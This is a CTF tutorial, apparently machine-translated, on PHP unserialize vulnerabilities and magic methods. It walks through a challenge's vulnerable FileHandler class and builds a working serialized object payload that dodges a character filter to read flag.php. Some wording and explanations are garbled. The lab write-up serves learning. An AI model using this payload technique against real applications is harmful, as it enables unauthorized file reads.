PHP Deserialization Principle: the serialization string entered by the user is not detected, so that the attacker can control the deserialization process, resulting in code failure Execution, SQL Injection, directory traversal and other uncontrollable consequences. Some magic methods are automatically triggered during deserialization. When carried During deserialization, it is possible to trigger some magic methods in the object. serialize() //Convert an object to a string unserialize() //Restore string to an object Trigger: unserialize The variable of the function is controllable, and there are available classes in the file. There are magic methods in the class: reference resources: https://www.cnblogs.com/20175211lyz/p/11403397.html __construct() //Triggered when an object is created __destruct() //Triggered when an object is destroyed __call() //Triggering an invocable method in an object context __callStatic() //Triggering an invocable method in a static context __get() //Used to read data from inaccessible properties __set() //Used to write data to inaccessible properties __isset() //Triggered by calling isset() or empty() on an inaccessible property __unset() //Triggered when unset() is used on an inaccessible property __invoke() //Triggered when a script attempts to call an object as a function __wakeup() //When you are deserializing, php calls__ wakeup method (if any)
php serialization
s:3:“aaa”; Is the serialization result (s represents the type, 3 represents the number of strings. If it is int, it is i, and the number is not displayed, for example, i:123;)
php deserialization
aaa is the result of deserialization
Small example of classless serialization:
Here, the value received by GET is stored in the variable str, and then judged by if. If the result of deserialization of the value of the variable str is equal to the value in the variable key, enter false
<?php include "flag.php"; $key="key"; $str=$_GET['str']; if(unserialize($str)==="$key"){ echo "$flag"; } ?>
Visit the current page and submit the parameters through GET at the url to make the submitted value equal to the value in the variable key after deserialization
When there are classes, when serializing or deserializing, the operation will trigger the corresponding magic method (if the magic method exists)
<?php class ABC{ public $test; function __construct(){ $test = 1; echo 'Constructor called<br>'; } function __destruct(){ echo 'Destructor called<br>'; } function __wakeup(){ echo 'The wake-up function was called<br>'; } } echo 'create object a<br>'; $a = new ABC; echo 'serialize<br>'; $a_ser=serialize($a); echo 'Deserialization<br>'; $a_unser=unserialize($a_ser); echo 'The object is dying!'; ?> Operation results: create object a Constructor called serialize Deserialization The wake-up function was called The object is dying! Destructor called Destructor called
CTF real question
https://ctf.bugku.com/challenges#flag.php
$this is a "pseudo object", which represents the current object of the current class. (it is equivalent to performing a new operation on the current class to $this $this=new FileHandler)
1. Public: public indicates that the data member and member function are open to all users and can be called directly by all users
2. Private: private means private. Private means that no one can use it directly except class itself.
3. Protected: protected is public for children and friends. It can be used freely without any restrictions. For other external class es, protected becomes private.
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") {//If the value of op equals 1, the write() method is executed $this->write(); } else if($this->op == "2") {//If the value of op is equal to 2, execute the read() method $res = $this->read(); $this->output($res);//Output $res } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename);//file_get_contents -- read the whole file into a string } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2")//If op is all equal to 2, assign op to 1. $this->op = "1"; $this->content = "";//Assign content to an empty string $this->process();//Using the process method } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) {//Through is_ The valid function detects the value passed from GET $obj = unserialize($str);//Deserialize the value passed from GET. It will be triggered automatically because it is not serialized__ destruct() magic method } }
Analysis: (tired to death)
1. When parameters are passed in through GET, the value passed in will be deserialized with unserialize and executed__ destruct() magic method.
2. If the value of op is all equal to (= =) 2, assign op to 1, and then execute the process() method to judge that if the value of op is equal to (= =) 1, it will be in the write() method, and if the value of op is equal to (= =) 2, it will be in the read() method.
3. Because the flag is to be read here PHP file, so naturally enter the read() method. In addition, because the previous comparison is through = = = and the back door comparison is through = =, the result of op after deserialization should not be (= =) 2 and (= =) 2, so the value of op after deserialization can be (2 of int type) or (there is a space in the middle of "2")‘
4. After entering the read() method, click file_ get_ Contents reads the contents of filename. Because our goal is to flag PHP, so the value of filename after deserialization must be equal to flag PHP (that is, read flag.php with file_get_contents).
5. The value of content is arbitrary, because no matter what the value of content after deserialization is, it is__ When destruct, the content will be assigned to null.
in summary:
op deserialized value must be 2 or '2' of type int.
The deserialized value of filename must be flag php.
The deserialized values of contents are arbitrary.
Therefore, we need to build the corresponding serialization code to get the serialization result
<?php class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = 2; $filename = "flag.php"; $content = "Hello World!"; } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } $a=new FileHandler(); $b=serialize($a); echo $b."\n"; var_dump(is_valid($b)); ?>
result:
O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}
We need to add values to them ourselves, and because the three attributes are of protected type, chr(0)*chr(0) will be generated
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}
But is_valid() will check the produced payload. Characters with ascii less than 32 cannot appear. So% 00 can't pass.
Php7 is used here The version of 1 + is not sensitive to the type of attribute, so it can be bypassed by directly changing the attribute type to public during local serialization.
result:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
Copy the serialization result and assign a value to the variable $str through GET to GET the result flag